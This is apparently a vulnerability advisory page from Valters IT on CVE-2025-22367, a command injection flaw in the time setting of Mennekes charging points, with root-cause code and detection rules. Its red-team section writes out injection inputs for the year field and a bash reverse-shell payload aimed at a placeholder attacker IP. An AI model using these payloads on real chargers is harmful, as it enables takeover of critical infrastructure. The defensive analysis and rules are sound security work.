CVE-2025-22367
Executive Summary
CVE-2025-22367 is a critical OS command injection vulnerability in Mennekes Smart and Premium Chargingpoints. The flaw resides in the authenticated time setting functionality of the device firmware. When certain fields are passed to the underlying operating system, the firmware fails to properly neutralize OS commands, allowing an authenticated attacker to execute arbitrary commands on the device. This can lead to full device compromise, network pivoting, and potential disruption of EV charging infrastructure.
Affected Component: Mennekes Smart / Premium Chargingpoints firmware (time setting functionality).
Attack Vector: Network-based, requiring authentication to the device's management interface.
Impact: Remote code execution (RCE) with system-level privileges, enabling data exfiltration, lateral movement, and denial of service.
No supply chain package information is available for this hardware-based vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While a CVSS vector is not provided, based on the description and typical characteristics of authenticated command injection in embedded systems, the following is a reasonable assessment:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions beyond authentication are required.
- Privileges Required (PR): Low (L) – Authentication is required, but the attacker only needs low-privileged access to the time setting feature.
- User Interaction (UI): None (N) – No user interaction is needed beyond the initial authentication.
- Scope (S): Changed (C) – The vulnerable component (firmware) can be used to impact resources beyond its intended scope (e.g., the underlying OS).
- Confidentiality (C): High (H) – Full system access allows reading all data.
- Integrity (I): High (H) – Full system access allows modifying all data and firmware.
- Availability (A): High (H) – Full system access allows denial of service or device bricking.
Estimated CVSS Score: 8.8 (High)
Threat Level: High. The vulnerability is unpatched and allows full device compromise. Given the critical nature of EV charging infrastructure, exploitation could have cascading effects on power grids and transportation.
Deep Dive & Mechanics
The vulnerability exists in the time setting functionality of the Mennekes Smart / Premium Chargingpoints firmware. The device likely uses a web-based management interface or a local API to configure system time. When a user sets the time, the firmware constructs an OS command (e.g., date -s "YYYY-MM-DD HH:MM:SS") without proper sanitization of user-supplied input.
Root Cause: The firmware does not neutralize special characters (e.g., ;, |, &, `, $()) in the time fields before passing them to the underlying OS shell. This allows an authenticated attacker to inject arbitrary commands.
Example Attack Flow:
- Attacker authenticates to the Mennekes charging point management interface.
- Attacker navigates to the time/date settings page.
- Attacker injects a command into one of the time fields, e.g., setting the year to
2025; id. - The firmware constructs the command:
date -s "2025-01-01 00:00:00; id". - The OS executes the injected
idcommand, revealing the current user context.
Impact: Full remote code execution as the system user (likely root or a privileged service account). This enables:
- Installing persistent backdoors.
- Exfiltrating charging session data, user credentials, and network configurations.
- Using the device as a pivot point to attack other network segments.
- Disrupting charging operations (denial of service).
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common secure coding practices.
Vulnerable Code (Conceptual - C/C++ or Shell Script):
// Vulnerable: Direct string concatenation
char command[256];
snprintf(command, sizeof(command), "date -s \"%s-%s-%s %s:%s:%s\"", year, month, day, hour, min, sec);
system(command);
Patched Code (Conceptual):
// Patched: Input validation and parameterized execution
if (!isValidDate(year, month, day) || !isValidTime(hour, min, sec)) {
return ERROR_INVALID_INPUT;
}
// Use a safe API that does not invoke a shell
execl("/bin/date", "date", "-s", formatted_time, (char *)NULL);
Key Differences:
- Input Validation: The patched code validates that the input conforms to expected date/time formats (e.g., numeric ranges, no special characters).
- Safe Execution: Instead of using
system()which invokes a shell, the patched code usesexecl()or similar functions that do not interpret shell metacharacters. - Parameterization: The time string is passed as a separate argument, preventing injection.
Exploitation & Lab Setup
No public exploit code is available. The following is a conceptual guide for testing in a controlled lab environment.
Red Team (Offensive)
Prerequisites:
- Access to a Mennekes Smart/Premium Chargingpoint (physical or emulated).
- Valid low-privileged credentials for the management interface.
Exploitation Steps:
- Identify Target: Scan for Mennekes devices on the network (default ports: 80/443 for web UI, possibly 22 for SSH).
- Authenticate: Use valid credentials to log in to the web interface.
- Locate Time Setting: Navigate to the system configuration or time/date settings page.
- Inject Command: In one of the time fields (e.g., year), inject a command using shell metacharacters. Example:
- Year:
2025; whoami - Month:
01 - Day:
01 - Hour:
00 - Minute:
00 - Second:
00
- Year:
- Trigger Execution: Submit the form. The command
whoamiwill be executed on the device. - Establish Persistence: Inject a reverse shell or add an SSH key to maintain access.
Example Payload (for reverse shell):
- Year:
2025; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Blue Team (Defensive)
Detection Steps:
- Monitor Logs: Check system logs for unusual command execution patterns, especially involving
date,system, or shell commands. - Network Monitoring: Look for outbound connections from the charging point to unknown IPs on unusual ports (e.g., 4444).
- File Integrity: Monitor for changes to critical system binaries or configuration files.
- User Activity: Audit user sessions for abnormal time setting changes, especially outside of maintenance windows.
Honeypot Strategy:
- Deploy a fake Mennekes charging point with the vulnerable firmware to capture attacker techniques.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections from the charging point to IPs on high ports (e.g., 4444, 1337).
- Unusual DNS queries from the device.
- HTTP requests to the management interface with shell metacharacters in time fields.
Host IOCs:
- Unexpected processes running as root (e.g.,
/bin/sh,/bin/bash). - New SSH keys in
/root/.ssh/authorized_keys. - Modified system binaries (e.g.,
/bin/date,/sbin/init). - Unusual files in
/tmpor/var/tmp. - Log entries containing shell commands in the time setting logs.
File IOCs:
- Presence of files like
/tmp/.backdoor.shor/var/log/.persist.
Detection Engineering
YARA Rule
rule CVE_2025_22367_Mennekes_Command_Injection {
meta:
description = "Detects command injection attempts in Mennekes charging point time settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22367"
strings:
$injection1 = /date -s ".*[;&|`$()].*"/ nocase
$injection2 = /system\s*\(.*date.*-s.*[;&|`$()]/ nocase
$injection3 = /exec.*date.*-s.*[;&|`$()]/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-22367 - Mennekes Charging Point Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts in Mennekes Smart/Premium Chargingpoints via time setting functionality.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-22367
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/bin/date'
CommandLine|contains|all:
- '-s'
- ';'
- '|'
- '&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of date command with unusual characters (unlikely)
level: high
tags:
- attack.t1203
- cve.2025.22367
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22367 Mennekes Charging Point Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/time_set"; http_uri; content:"year="; nocase; pcre:"/year=[^&]*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: If possible, restrict access to the management interface to only trusted internal networks.
- Change Default Credentials: Ensure all devices use strong, unique passwords.
- Network Segmentation: Place charging points on a separate VLAN with strict firewall rules.
- Monitor Logs: Enable and monitor system logs for suspicious activity.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Mennekes that properly sanitizes input and uses safe OS command execution methods.
- Workaround: If patching is not possible, consider implementing a web application firewall (WAF) or reverse proxy that filters out shell metacharacters from time setting requests.
Valters IT Recommendation: Given the critical nature of this vulnerability and the lack of a patch, organizations should prioritize isolating Mennekes devices from the internet and untrusted networks. Implement strict access controls and monitor for any signs of exploitation.
Valters IT